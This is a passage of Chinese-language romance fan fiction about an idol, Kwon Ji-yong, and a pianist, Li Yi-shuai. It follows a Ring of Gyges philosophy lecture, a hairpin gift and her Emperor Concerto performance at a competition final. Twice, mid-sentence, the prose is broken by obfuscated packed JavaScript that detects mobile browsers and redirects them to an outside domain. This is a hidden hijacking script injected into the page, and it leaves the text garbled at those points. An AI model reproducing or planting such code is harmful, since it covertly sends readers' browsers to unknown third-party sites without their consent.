这门课程的名字有些复杂,同时列在哲学和认知科学中,但本质上还是在探索哲学课程中会探索的问题,以及西方传统哲学中主要的三大伦理学理论,如效用主义,义务论和美德伦理学。 尽管权至龙此前没有接触过西方哲学,在高中时也不曾读过任何相关的通俗书籍,甚至他的英语听力也有些跟不上语速,但仍然听得很专注,时不时与李艺率交谈两句,问些生僻的单词,看起来似乎是真的对哲学课程相当感兴趣。 主讲教授的声音温和平静,从柏拉图的理想国到他的精神导师苏格拉底,缓缓引导着教室里的学生,很快切入了一个更深刻的话题—— “在《理想国》第二卷中,”她说道,声音清晰而富有穿透力,“格劳孔为了挑战苏格拉底关于‘正义本身值得追求’的观点,讲述了一个关于牧羊人盖吉斯的故事。” 听到陌生的名字,权至龙微微侧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247075|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头看向李艺率,用气声问道:“Gyges?” 李艺率在笔记本的角落快速写下“隐身戒指”推到他跟前。 “盖吉斯在一次地震后的裂缝中,发现了一枚可以使他隐形的金戒指。他利用这枚戒指的能力,潜入宫廷,引诱王后,谋杀了国王,最终自己攫取了王位……” 多媒体幕布上出现了插图,一位戴着头巾的牧羊人正从地下取出一枚戒指。 等权至龙了解完这则寓言故事及其中深意以后,在教授预留的讨论思考时间里看向李艺率: “如果你有盖吉斯之戒的话,最想做些什么?” 李艺率:“…………” 实际上,这跟教授刚刚引导的思考方向完全不一致,但她看向那双琥珀色的眼睛,歪着头思考了片刻道: “嗯……我好像想要的东西都已经拥有了啊。” 毕竟她现在的困境可不是一枚隐身戒指就能帮忙摆脱的。 想到这里,她缓声道:“我有点讨厌电视上那些疯狂作秀的政治家。所以如果我拥有了戒指的话,大概会趁着这群坏家伙在镜头前作秀的时间里搞一些恶作剧吧。” 李艺率拿着钢笔凌空画了个圈:“比如说拿很难擦掉的油性笔在他们脸上涂鸦,偷偷把他们的衬衫扣子全部解开之类的……” 权至龙:“……这好像有点太恶趣味了吧。” 这么珍贵的东西就被你拿来做这种无聊的事情吗?! 实际上这是一个关于正义与私欲,典型道德困境的故事。 然而也不知道为什么,主讲教授留给他们思考的时间也是被二人美美地开始幻想了起来—— 李艺率:“你呢?你要是拿到戒指以后最想做的是什么?” “会想要送给你吧。毕竟我要这种戒指也没用啊,”权至龙闻言不假思索道,“我是个艺人,比起能够隐身我肯定是希望多受到点关注才好呢。” 李艺率:“…………” 真是个傻子啊。 万一真的拥有一枚能够获得隐身能力的戒指,那么这世间的大部分东西都可以轻易获得,甚至人生也能因此有了更多可能性。 可眼前的傻子却丝毫没有考虑过其他可能,比起唾手可得的财富与权利,成为艺人站在聚光灯下,才是那双写着‘本该如此’的纯粹眼睛里唯一渴望的事情。 李艺率握着钢笔的手指微微一顿,笔尖在纸面上留下一个微小的墨点。 她忽然想起,最初认识权至龙的时候,他就是这样的。 在那些被汗水浸透的练习室里,在那些看不到尽头的枯燥训练中,在无数个怀着对未来犹豫和不确定的时刻……记忆里那个瘦弱的少年背负着种种不确定隐忍而又努力地向着梦寐以求的舞台坚定前行。 所以……出道结果的不理想对他的打击一定很大吧。 李艺率在此时难得地体味到几分愧疚。 当我们谈论起某个具体的人时,总会不自觉地以自身的认知框架为其做下一个预设。 这种标准,往往根植于所接受的文化教育、个人经历,乃至成长过程中那些悄然渗透进意识的价值判断。 认识这么久以来,权至龙在面对她许多无厘头的要求和任性行为时,总是会在最后妥协,并习惯性地将她的需求放置得更高。 或许是早年间受尽冷眼的练习生生涯让他早早打磨出了某种生存策略——他真的很擅于了解怎样讨别人喜欢,可这个看似善于表达自我的少年,却鲜少袒露过自己内心真正的需求和想法。 在一个小时之前,她还在信誓旦旦地同权至龙说什么“人和人之间,是永远无法感同身受的”,没想到转眼间这句话竟然应验到了自己的身上。 原来我也是在代入自己的经历和标准这样傲慢地凝视着他啊…… 她心里忽然觉得有些难过。 或许那些别扭试探、甚至偶尔的退缩和冷漠,都是层笨拙的保护壳,包裹着一个害怕被看轻、害怕不被接纳的内心; 或许在机场咖啡厅里那句带着窘迫的‘期待’,已经是他剥开层层防御,所能付出的最大勇气的自白; 或许这次孤注一掷不计较后果的飞行,最终换来的可能会是更深的误解、更尴尬的场面甚至更糟糕的结果…… 可他还是来了。 义无反顾地,倾尽所有地,出现在她眼前。 这一刻,李艺率忽然觉得不生气了。 此前维持数月的、因莫名其妙的忽冷忽热而产生的隔阂与委屈,在那个小心翼翼触摸着她的世界的举动中,在那双交织着渴望与脆弱的琥珀色瞳孔的注视下,忽然被情绪剥离得干干净净,悄然消散。 她也终于在此刻,真正地‘看见’了他。 想到这里,李艺率看向拿着笔在练习册上专注写写画画的权至龙,忽然开口道: “如果有盖吉斯之戒的话,我想送给我的好朋友小权。” “…………?!!!” 权至龙听到她的声音猛地抬起头。 实在是太久没听到她这样叫他了。 哪怕已经在心里下意识认为两人已经和好,哪怕都已经住到了她家里,哪怕身为陪读跟随她进出校园……她也只是在昨天夜里的机场,冷冰冰地、短暂地喊他‘权至龙’。 也正是因此,那个记忆中亲昵的名字在耳边又一次被唤起时,他的颈后冲上一阵细微的电流,整个人下意识地僵在了原地。 她叫他小权……她说是好朋友………… 难以遏制的庆幸和复杂从心底涌上来,喉咙像是被什么东西哽住了一般,叫他一时之间竟不知道该怎样回应。 过了许久他才看向她,磕磕巴巴地问道:“为、为什么……?” 闻言,李艺率唇角弯起一个浅淡的弧度,像是还在极力维持着装模做样的姿态,可那对饱满可爱的肉团早就悄悄跑到了眼下,连带着眼角那颗细小的泪痣也格外生动了起来。 这两天故作疏冷的眉眼在顷刻间冰雪消融,露出眼底清澈流动的暖棕色深湖。 李艺率:“因为我的好朋友小权以后会成为大明星啊,他肯定会有很累、抗拒人群和聚光灯的时候……等到那时候他戴上戒指就可以变成普通人,自由自在地做一切他想要做的事情。” 听到她这近乎孩子气的理由,权至龙怔怔地看着她,情绪翻涌得厉害。 像是被什么温柔的东西击中了心脏最柔软的地方,他张了张嘴,却一句完整的话都说不出来,只能悄悄捏紧了指尖。 “艺率啊,我……” 然而,还没等他将内心感动、庆幸与歉意复杂交织的情绪完整地表述出来,就收到了李艺率莫名其妙的眼神—— “你干嘛忽然这种表情?”她嘴里嘁了一声,又格外刻意地别过头去,“我说的是我的好朋友小权,关你权至龙什么事啊!” 权至龙:“………………” 说真的,你这家伙未免也太记仇了一点吧! 36.你也是我的月亮啊 临近决赛,时间愈发紧迫。 为了以最饱满的状态迎接比赛,李艺率这几天暂缓了学校的课程。 不过她倒也没有将自己完全囚在琴房里。 毕竟万事过犹不及,与其透支精力练到身心疲惫,不如张弛有度,平衡好状态。 因此这几天刨除基础的练习之外,她也抽空带着权至龙在波士顿好好逛了逛,前些天甚至拉着他一块去了波士顿港坐游艇观鲸。 那天的天气不错,鲸鱼们都很给面子地翻涌着巨大的尾鳍跃出海平面,两人也看得十分高兴,结果就是丝毫不在乎自己脆皮人设的李艺率在猛吹了一个下午的海风以后头疼脑热险些病倒,让权至龙好一通着急上火。 直到两天后李艺率恢复过来终于不是一副病怏怏的模样,他才松了一口气—— 然后就因为这几天大起大落的情绪波动加之照顾病患的过度紧张,彻底放松下来以后反倒是权至龙本人不幸感冒,蔫在了沙发上。 权至龙:………… 这都叫什么事啊! 好在时间有条不紊,赶在决赛那天前,他的症状已经有所好转,精神也恢复了不少。 结束决赛前的最后一次排练,权至龙背着背包,手里拿着李艺率的琴谱,把她小心地护在靠近人行道内侧的边缘,自己则走在靠外的一侧,下意识地用身体挡住了拥挤的车流。 波士顿的城市交通规划是出了名得烂,除却一些必要的紧急情况,市民们更多会选择公共交通出行。 他们沿着人行道,慢慢朝着地铁站的方向走去,夕阳的余晖将两人的影子拉得很长。 “今天感觉怎么样?最后一遍合练。”权至龙侧头问她,声音还带着点感冒未愈的鼻音,但精神看起来确实好了不少。 “还不错。”李艺率点点头,语气是一贯的平静,但微微扬起的嘴角,显然很满意今天的合练,“乐团的状态很好。当然,我的发挥肯定更棒啦!” 毕竟今天排练结束后,霍斯指挥看她的眼神很是热切。要不是决赛还没开始,李艺率险些怀疑这位行为张扬热情的指挥先生要当场向她发出演出邀请了呢。 “那就好,”权至龙松了口气,继而又被她这样毫无保留的自信打动。他无奈地点点头,心里却是满满的踏实。 真是个除了个性糟糕以外毫无缺点的人啊。 权至龙忍不住轻笑。 “你肯定能做到的,”他的语气里满是信任,深深地注视着她俏丽的侧脸: “在我听来,谁都比不上你的演奏。” 毕竟那样颗粒感极强,声音均匀饱满富有穿透力,辉煌灿烂到极致的璀璨音色实在是很让人过耳难忘。 闻言,李艺率的眼底微微泛起一丝笑意,毕竟被人夸奖真的是一件很愉快的事情。 她牵动嘴角露,眼睛弯成了月牙的形状,嘴上倒是一点也不客气地回应: “小权,你又在说些废话了。这不是当然的事情吗,我的技术就是很棒啊!” 权至龙:“…………” 话虽如此,但好歹给我在面上做出点谦虚的模样出来吧! 可就算是这样骄傲到有些自大的模样,也让人觉得真实又心动。 他这样想着,也跟着无奈地笑了出来。 * 决赛当天,后台弥漫着高强度紧绷,混合着紧张期待的氛围,化妆镜前的灯光将选手们的影子切割成碎片。 与前几次在后台的集体化妆间不同,今天比赛同组的选手们被安排在相邻休息室里,进行最后的准备。空气中飘散着松香、化妆品、以及隐约的汗味。 权至龙跟着李艺率走进分配给她的休息室。 房间不大,陈设简单,只有一面镜子、一个梳妆台、两把椅子和一张供放置乐谱的小桌。与隔壁传来的嘈杂人声相比,这里显得过分安静,甚至有些冷清。 李艺率倒是很习惯这种安静,她放下琴谱,听着耳机里的节拍器录音,开始进行一些温和的手指拉伸活动,神情专注而平静。 权至龙靠墙站着,目光却不由自主地飘向门外。 隔壁休息室的门敞开着,能看到一位同样进入决赛的选手已经换好了吊带礼服,正被一群人簇拥着——有专业的化妆师在为她整理发型和妆容,家人朋友围在一旁,低声说着鼓励的话,还有人举着相机在拍照记录,场面看上去热闹又温馨。 与他们这个氛围静谧的休息室形成了鲜明的对比。 想到前几天李艺率邀请他观看决赛时的神情,想到他当时答应下来以后她眼里雀跃的闪光,想到她对他解释,这只是一场小比赛所以压根没有提前告知家人时脸上轻松的表情…… 他的心头像是被什么东西轻轻刺了一下,泛起一阵细微的酸涩。 他几乎能想象出,在前几次重要的比赛中,李艺率一个人坐在同样安静的后台,听着周围传来的热闹,独自完成赛前准备的模样。 脑海中跃出的画面感让他觉得有些发堵,难以名状的情绪悄悄蔓延开来—— 然而李艺率完全不觉得自己是权至龙脑补的那种小可怜模样。 小时候她的每次比赛,海因茨都会一直陪伴左右,甚至哥哥和爸爸也会在场下次次不缺席。 但今年范赛的时间的确不太凑巧,这段时间哥哥在德国,爸爸在年后就匆忙飞去了加州参与手机芯片研发的项目,实在没必要在这样忙碌的节点还特意为此赶来。 我真的很是个乖巧体贴的好孩子啊! 她轻笑着想到。 况且,这样重要的决赛不是还有好朋友陪着嘛, 虽然嘴上没说,但是李艺率的心里还是有些高兴。 她偷瞄了一眼不知道为什么神色忽然有些凝重的权至龙,听着规则的节拍,忍不住偷偷晃了晃脚—— 她一个参加比赛的人都没有这样紧张,真不知道这家伙到底在不安些什么! * 像范赛这样的大型国际赛事,每次举办的时候官方都会在后台拍摄些选手片段以便后续制作成纪录片。 等李艺率接受完摄制组的采访并拍摄了些足够的素材以后,两人也终于有聊天的时间。 同组的那名穿着礼服的女选手已经上场,看着李艺率摘下耳机和他闲聊,神色看上去丝毫没有任何焦虑紧张的情绪,权至龙心里那根紧绷的弦也稍稍放松。 权至龙:“我看有其他选手到演出通道那边去听现场了,你不去吗?” 闻言李艺率只是轻轻摇头,神情疑惑:“为什么要去?别人弹得怎么样和我也没关系吧。” 她只需要弹好她自己的就可以了啊。 权至龙:“…………” 这副笃定又坦然的模样的确会是她的作风,这让他有时候也会感到疑惑,李艺率这样自我的内核究竟是一种天赋还是家庭环境所造就的肆意生长的底气。 他看着李艺率低头整理耳机线,又忽然像是想起了些什么,有些懊恼地叹了口气: “我应该要和怒那们学一点化妆技术的!” 刚刚他看到隔壁有专门的化妆师带着大包小包在那名选手脸上精雕细琢,对比李艺率一副素面朝天的模样,心中实在后悔。 早知道要提前准备一下的,都是舞台演出他怎么就把这件事给落下了! 况且……他看向李艺率一副衬衫牛仔裤毛衣马甲,和平时穿着差不多的打扮。虽然这样穿也很漂亮,但对比人家精心准备的礼服确实显得太随意了。 想到这里,他抽动嘴角,忍不住地嘟囔:“这么重要的比赛,你这家伙也应该稍微上点心啊。” 这可是全球直播而且还有纪录片的花絮录制啊! 李艺率闻言嘁了一声,满不在乎道:“你是真不知道有多累啊!台上灯光又热又吵,体力消耗也很大,化了妆脸上会糊成一团很难受的!” 像大型器乐舞台,尤其是钢琴这样耗费体力的演奏,其实和歌手表演舞台还是不太一样。 强烈的灯光和投入的表演通常会让演奏者们满头大汗,每一位演奏家都会在上台前准备一条手巾保持脸部和手指干燥。 这种时候化妆反倒才是负担。 李艺率所说的倒是触及到权至龙的知识盲区了,他抓抓头发,只好又道:“那也可以打扮得华丽一点啊,刚刚那名上台的选手就穿得很讲究!” 毕竟他所接受的观念都在强调视觉美感。 梁锡硕说他是吸引所有人目光注视的,开得很漂亮的花。当然,出道以来他也一直是这样做的。 尽管被人议论是最丑男团,但他也的确有在每一次舞台上努力打扮得华丽帅气。 对此李艺率却还是保持不同意见: “可说到底还是要靠音乐和作品取胜啊。” 她这么说到,又打了个自认为通俗的比方,“就像我们俩做好朋友,不就是因为我超好的性格才吸引你的吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247076|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 权至龙:“……不,这么说起来我好像也没那么高尚。” 联想到最开始认识李艺率时她那副装模做样的样子,他深深感叹起自己原来也是个只会看皮囊的肤浅的人啊。 况且,这家伙对自己糟糕的性格未免也太有自信了吧! 大概是回想起前一次同组的经历,李艺率回想起那位小星星一直众星捧月的模样,甚至忍不住宽慰起权至龙来: “虽然看起来人家打扮得比我郑重很多,但是我们要靠技术取胜!” 她讲述了上一次半决赛时在后台和小星星的那次短暂交锋,试图以这个理由侧面说明自己是个可怕的对手,末了还调侃道:“你看,就算是最棒的小星星也会在关键时刻因为我而感到紧张呢。” 这不就说明她的实力不是超棒吗! 她说得那样轻松,甚至还带着调侃,仿佛这是一件很值得拿出来炫耀的趣事。 可这番话落在权至龙耳边却只让他感到心脏被攥紧。 那个时候他在做什么呢?啊,他想起来了。 那时的他正沉溺于自己制造可笑的泥潭里,选择了最幼稚也最愚蠢的方式将她推开—— 甚至连一丝支持和温暖都吝于给予。 错过了她可能需要支持的瞬间,错过了分享孤独的时刻,错过了作为一个朋友、甚至作为……作为他内心渴望成为的那种更特殊的存在,本应给予的一切。 他错过了那么多,会让她感到难过吗? 看着李艺率毫无防备的笑脸,权至龙忽然有些不敢往下细想下去。 他垂下眼睑,生怕被她察觉眼底翻涌的情绪,只好努力扯出一个看起来轻松的笑容: “我想送你一个东西。” 说着,他从这两天一直背着的双肩包里取出一个方形的盒子递给李艺率,语气故作轻松:“这是我之前做的,这几天一直没能找到机会送给你。” 去年年底权至龙在一次路过弘大的时候又碰见了前几年那位手工摊主,对方其实还记得他,笑眯眯地同他打招呼,又问他和女亲现在怎么样了,言语里颇有一副他们当时看上去关系就很好的肯定。 也是在那个时候,权至龙才恍惚意识到,原来他一直苦苦掩藏的喜欢,在外人眼里竟是那样轻易被戳破的滑稽模样。 他本想定制一份礼物送给李艺率,可忽然又鬼使神差地向对方请教起手作的技巧。 这枚由月光石、珍珠和碎钻制成的发夹就是这几个月跑通告的间隙断断续续完成的作品。 李艺率打开方形的纸盒。 那是一枚月亮形状的发夹,几何形不规则的拼接,液态月光石泛出淡淡的光晕,在灯光折射下闪烁着清透又若隐若现的雾面质感。搭配珍珠与碎钻点缀,如同星河倾泻,模样看上去精致漂亮极了。 她指尖摩挲着被打磨得圆润的月光石,一时怔怔。迎上权至龙的目光也不知道为什么心里只有忐忑,只好垂下眼睛故意不去看那双琥珀色的眼睛。 而权至龙只是上前一步仔细拢起她额间的碎发,将发夹轻轻地别在她的脸侧。 这其实实在是个很亲昵的举动,可他似乎丝毫没有察觉。 他只是对着化妆镜,看着镜子里她忽然莫名有些闪躲却又止不住高兴的表情,看向自己专注又渴望的眼神—— 权至龙:“真的很适合你啊。” 他这样说到,迎着水晶镜面与她对视,声音低柔,带着一点甚至连他自己都没察觉的沙哑,“她或许是在家人朋友眼里最棒的小星星,但是……” 他说。 “但你也是我心里不可代替的,最独一无二的月亮啊。” 李艺率:“…………” 话音刚落,那双暖棕色的眼睛即刻就因惊讶而微微睁大。 李艺率的心里忽然像被什么击中了一样,泛起说不清的情绪。心脏突突直跳,一股陌生滚烫的热意毫无预兆地窜上她的脸颊和耳尖,让她有些手足无措,只下意识地感到忐忑。 睫毛颤抖了一下,平时的伶牙俐齿在此时也有些失灵了,张着嘴挤不出几个零碎的词,只好又慌乱地对上镜中他的眼睛—— 镜子里的他对她露出一个极浅的笑,然后像是忽然意识到些什么,慌乱地别开视线,脸侧耳尖被灯光染得通红。 李艺率:“………………” 你这家伙到底莫名其妙脸红些什么啊?说出这种让人害羞的话的不正是你本人吗! 37.她的加冕礼 前一位被李艺率起了小星星外号的选手演奏完毕。 休息室的门被敲响,工作人员探进半个身子小声提醒李艺率,半个小时后准备登台。 至此,权至龙将时间留给李艺率独自冥想,自己则起身背上了双肩包。 临分别前,他伸手在她的头顶轻抚了一下,指尖传来的触感温热,带着一丝不易察觉的轻颤。 权至龙的手在柔软的发丝上停留了片刻,指腹不经意地擦过那枚圆润的月光石。 他微微低下头,目光落在她低垂的睫毛上,对上她有些困惑又不自觉闪躲的眼神,嘴角露出饱满的笑纹,语气温和又带着些平时少见的、几乎可以称得上郑重的情绪: “艺率呀,还记得那次我们在汉江边,我们俩的约定吗?” 耳畔似乎又响起了那个江风裹挟着的黄昏。 李艺率手上还拿着耳机往耳朵里塞,闻言却已经下意识点了点头。 “记得就好,”他看着那抹微微睁大的剔透暖棕色,嘴角弧度柔软,几乎是叹息一般地轻声说到,“我会一直陪着你的。” “嗯,”李艺率轻轻应了一声,声音比平时软了几分,甚至带着点不知所措的意味。 她的视线飘忽着,绕过那抹琥珀色,在他胸口的纽扣上短暂停留片刻,又忍不住缓缓上移,溺在那对深邃的笑纹里: “等一会我会用我的音色征服现场的。小权,”她顿了顿,眼里是不加掩饰的张扬和明媚,“你就在台下瞧好吧!” “那就这么说定了啊。” 权至龙看着她带笑的飞扬眉眼,也跟着笑开了。 * 一曲大型钢琴协奏曲大约需要三四十分钟左右,因此在上一名选手表演结束后,主办方特地为观众预留了半个小时的休息时间。 趁着演奏还没开始,权至龙从包里拿出了今天临出发前特地充电准备好的数码照相机,提前调整参数关闭闪关灯和音效,打算一会为舞台上的李艺率拍几张照片留念。 说起来,这台相机还是几年前校庆时曾经拜托永裴帮忙操作拍摄的那一台。 这么想着,权至龙的手指摩挲金属边缘的功能触键,一不小心就打开了相册浏览。 权至龙:………… 不过好在里面最近的一张照片还是两年多以前他们的合影,看得出来李艺率的确是很有些嫌弃这个玩具没趣了。 他的指尖触摸着滚轮,翻阅着他们曾经的照片。 两人都穿着校服,在看上去有些简陋的舞台背景当中,他站在聚光灯下,拿着话筒围在舞台中央的钢琴边转圈,眼神青涩而又专注地看向垂眸触键的李艺率。 他们在舞台上摆出小王子和小公主的动作遥遥相望,他们牵着手在台下鞠躬……镁光灯下泛白的幕布上,倒映他们被拉长的影子。 照片一张张在屏幕上闪过,最终停留在那个暮冬傍晚的教室里。 这大概是永裴临时起意拍的,甚至事后也没有特意提起。 人脑真是个奇怪的器官,总是爱对些记忆做特殊加工。 如果叫权至龙现在回忆起那个时候,他只能回想起李艺率靠在温柔的紫灰色背景中,支着下巴带笑看向他的模样—— 她额角的碎发,双手撑着下巴脸颊两侧被挤出的软肉,嘴角有些似笑非笑的慵懒弧度……和落在他身上叫他心神颤抖的目光。 权至龙:……………… 现在回过头来再去看照片里眼睛像软体动物一样赖在李艺率身上的自己,他害羞得几乎想要把脸埋在手心里,却又忍不住把视线紧紧黏在液晶屏幕上。 正在他左右脑互搏出神之际,耳边传来了一个有些低沉的嗓音:“你好,请让一下,我的位置在里面。” “啊,”闻言,他下意识站起身,微微颔首的同时往旁边挪了半步,“好的。” 那是一位身姿挺拔的中年亚裔男士。 对方穿着剪裁精良的深灰色羊绒大衣,里面是熨帖的黑色西装,手中拿着决赛的节目单,姿态从容,气度矜贵沉稳。 看上去大约四十出头的模样,面容有着岁月打磨后的深刻线条,五官轮廓莫名让权至龙觉得有些眼熟。 他的眼神锐利而冷静,在通过以后冲着权至龙微微颔首示意,语气礼貌却带着自然的疏离感: “谢谢。” 他的声音不高,但吐字清晰而准确,仿佛自带一种不容置疑的沉稳,叫权至龙本能地感到局促。 对方坐下后,眼神落在了他手上拿着的数码相机上,又不露痕迹地打量了他一眼,继而换了韩语问道:“韩国人?” 即便是简单的提问,对方也自然流露出一种习惯于发号施令和被遵从的气场。 “内,是的。” 权至龙一愣,随即下意识点了点头。 似乎是意识到了对方是从手中这带有明显银河LOGO字样而辨认出来的,他冲着对方扬扬手中的相机,露出一个明显羞涩的笑容解释到: “是我亲故借我用的。她是下一场比赛的选手,我准备一会帮她拍几张照片留作纪念。” 闻言,那名中年男士微微挑眉,冲着他简单颔首,没再接话。 但不知道为什么,身边的空气好像莫名变得有些凝重起来。 权至龙:“…………” 是错觉吗? * 中场休息的时间过去,先前的观众和评委们陆续回到座位上,场内的灯光也随之暗了下来。 权至龙看着前排的评委们头挨着头小声交流,心里也不由紧张地捏了一把汗。 他所坐的位置是池座的中后部,属于是交响厅内声学效果和视觉体验都最好的位置,前面一排正好是评委席。 这样紧俏的座位,自然是一经开售就被追求极致体验的听众们一抢而空。 不过好在托了李艺率身为参赛选手的福,第一次在交响乐厅听古典乐演奏的权至龙就体验了一把什么叫做极致混响的黄金声学。 决赛的规格明显高于前几轮。 舞台上,波士顿交响乐团的成员们穿着整齐的黑色礼服。 弦乐部门校好音准,随着小提琴首席轻轻抖弓,台下响起一阵掌声。 霍斯指挥从后台走出,站在指挥台上,朝着观众席鞠躬,继而调整着面前的乐谱架,将身子朝向舞台侧面通道微微颔首示意。 李艺率的身影从候场通道走出的时候,权至龙坐在台下带头啪嗒啪嗒鼓起了掌。 她脊背挺得笔直,走向钢琴的步伐平稳,神色平静又从容,向着观众席微微欠身。 在掌声渐渐平息的间隙,权至龙也不知道是从哪里兴起的冲动,忽然朝着舞台的方向喊了一声: “艺率呀,Fighting!” 话音刚落,全场一片寂静,继而又爆发出一阵善意的哄笑。 而李艺率没有去寻找突如其来的声源,只是冲着指挥和乐团得体颔首示意过后,才缓缓在琴凳上落座。 透过极佳的视觉位置,权至龙隐约看见她嘴角牵动了一个细微的弧度,像是试图压抑住隐忍的嘴角,又终于破功一般地轻轻扬起。 权至龙看见她脸侧的那枚月亮形状的发夹在舞台灯光的效果下像是被点亮了一般,闪烁着细碎的光斑,一时之间被晃花了眼。 心底的雀跃咕噜噜冒着泡,身体轻飘飘地仿佛置身云端,嘴角也跟着傻乎乎地扬了起来。 “咳。” 左手边传来一声轻咳,才让他猛地回过神。 他迎着身边中年男人平静的目光,不知为何心里忽然有点发怵。尴尬地摸了摸鼻子朝对方露出一个歉意的笑容,随即迅速移开眼睛。 权至龙:“…………” 真奇怪,他的脊背发毛,忍不住悄悄打了个寒颤。 明明室内开了恒温空调,怎么还是感觉越来越冷了啊。 * 李艺率端坐在琴凳上调整呼吸,心里还在回味刚刚那声突如其来的‘fighting’。 笨蛋小权! 到底知不知道这是直播啊! 完蛋了,这家伙绝对要留下在赛前发出声音干扰选手演奏的黑历史了。 想到这里,李艺率又忍不住露出无奈的笑容。 长长吐息后将脑子里乱七八糟的思绪全部清空。 她微微闭眼屏息凝神,在脑海中构建乐章。再睁开时,眼中只剩下全然的专注与沉静。 她对着指挥颔首示意后,才将指尖搭在键盘上。 随着霍斯先生的手臂扬起,落下,磅礴地宣告—— 皇帝降临。 * 乐团奏响了一个强有力的C大调和弦,紧接着,钢琴立刻以一连串分解和弦的华彩乐段作为回应,每一个音符都如珍珠般滚落,颗粒清晰,从容而威严。 这首《降E大调第五钢琴协奏曲》创作于1809年。 彼时拿破仑的炮火正轰击着维也纳,贝多芬的耳疾也几乎剥夺了他全部听力。 这部协奏曲诞生于作曲家个人与时代的双重苦难之中,却毫无阴霾,全曲充满了前所未有的壮阔、雄浑与胜利的豪情。 它不是对帝王的赞颂,而是对人类精神力量、对超越苦难的“英雄”的礼赞。 李艺率的手指在琴键上奔跑跳跃,演奏着艰难无比的快速音群和辉煌的经过句,每一个音符都均匀而明亮,力量从肩背贯通至指尖,爆发出雷霆万钧的声势! 与许多俄派钢琴家温暖浓郁的“天鹅绒般”的音色不同,她的音色更偏向于清冷晶莹、如珍珠般圆润。 这种音色源自于李艺率独特的触键方式。 在重新拾起钢琴以后,她意识到自己敏感疼痛的手指是无法支撑起过度深沉的触键的,因此这几年的独立训练中,她凭借直觉本能摸索出更轻盈精准的触键方式—— 不再是“击打”琴键,而是利用“按压”、“抚摸”甚至“融化”进琴键里的方式,让指尖与琴键保持一种敏锐且持续的接触与控制,从而最大限度地调动钢琴击弦机的灵敏度,产生出丰富细腻的泛音。 同时,通过肩背发力,完全放松的手臂和手腕。全程使用手指贴键的演奏方式,最大限度地减少不必要的抬起动作,减轻肌肉和指关节的负担。 这也是支撑着她的身体能在高强度的演奏中保持稳定的关键。 乐章还在推进,琴声与乐团的对话逐渐紧凑而激烈。 低音区浑厚,高音区清亮,中声部的旋律线条温暖,音色层次极其丰富,仿佛是与无形命运的一次次对话、质疑和抗争。 评委席上,有几位资深评委微微前倾了身体。 这首钢协自诞生以来就有无数名家演绎,他们同样也听过无数版本的《皇帝》。 但像这样同时兼具剔透清冽与璀璨辉煌的矛盾音色,却在她的演绎下近乎奇迹地统一在一起。 相比当今许多名家中那种充满人性挣扎与温暖光辉的《皇帝》,李艺率对强奏演绎反倒带着些冷色调的辉煌,像钻石一样闪烁着锐利,而弱奏则像远方清晰而冰冷的星光,遥遥透着一种“不在人间”的美感。 实际上,评委席上也坐着不少李艺率的老熟人——毕竟业内人士几乎人人都看过海因茨生命最后那十多年相关的纪录片和录音采访作品,在镜头前出现次数最多的,莫过于被这位老人寄予厚望的亚裔小女孩。 当时没人会想到,这样一个可爱的小姑娘会在最好的年华里遭受如此沉重的打击,也没有人想到她会以这样一种近乎涅槃重生的姿态重新回到在舞台之上。 ‘真是华丽又完美的音色啊。’ 曾经与海因兹合作过、又在李艺率14岁参加日内瓦公开赛时担任评委的日裔指挥家大泽先生在心里悄悄叹息着。 这简直像是座精心雕琢、完美无瑕但又遥不可及的宫殿,既冷冽又庄严,既克制又充满神性。 ‘等赛后一定要提前排好档期和曲目,向她发起演出邀约才行。’ 第一乐章末尾一连串快速连贯的八度音符迸发,听着锋利饱满的崇高音色,大泽先生如是想到。 * 第一乐章结束,观众席中被按下的暂停键缓缓释放,听着周围的听众悄悄像是终于从漫长的屏息中吐出一口长气,权至龙也忍不住偷偷颤抖着放缓克制的呼吸。 这并不是他第一次听李艺率演奏这首《皇帝》。 实际上这几天在家里,他几乎是天天陪着李艺率一起泡在琴房里。 但钢协的魅力就在于钢琴与乐团的互相对话与成就。就像现在—— 第二乐章的柔板,乐队首先奏出如同暴风雨后的曙光般,宁静而圣洁的主题。 而她的琴声加以应答,那声音飘渺得近乎不真实。 每个音符像是由寒冷夜空中凝结的露珠所构成,纯净得仿佛被抽离了重量,随时可能会碎裂,却又被她以绝对的触键掌控力牢牢维系着。 方才明明还是金石铿锵,此刻却化作一片朦胧忧郁的月光。 权至龙几乎要闭上眼陶醉在这深沉细腻的涟漪里。 余光扫过坐在他左手边隔着过道的一对非裔精英打扮的中年夫妇。 他们双手紧握,与在场的大多数一样闭上了眼睛,完全沉浸在此刻这样治愈而崇高的精神世界之中。 而他右侧的那位亚裔中年男士,却始终保持着微微前倾的坐姿,目光紧锁在舞台中央,表情依旧平静,双手交叉放在膝上,指节似乎在不自觉地微微收紧。 真奇怪,他是来听音乐会的吗? 他的艺率弹得这样棒,这位叔叔怎么一点都不陶醉啊。 * 乐章之间没有停顿。 在第二乐章最后的弱奏和弦余音未散时,李艺率指尖一转,直接引出了第三乐章那充满活力、跳跃欢快的回旋曲主题。 气氛瞬间转变! 摒弃了第一乐章的理性和第二乐章的冥思,如同挣脱所有枷锁,奔向彻底的胜利与狂欢,琶音的速度极快,迸发出无比鲜活的生命力。 她指尖下的音符如同欢腾的溪流,奔腾不息,充满了喜悦和向往。 在这近乎炫技的奔涌中,李艺率的思绪却被抽离了一瞬,飞越了时光。 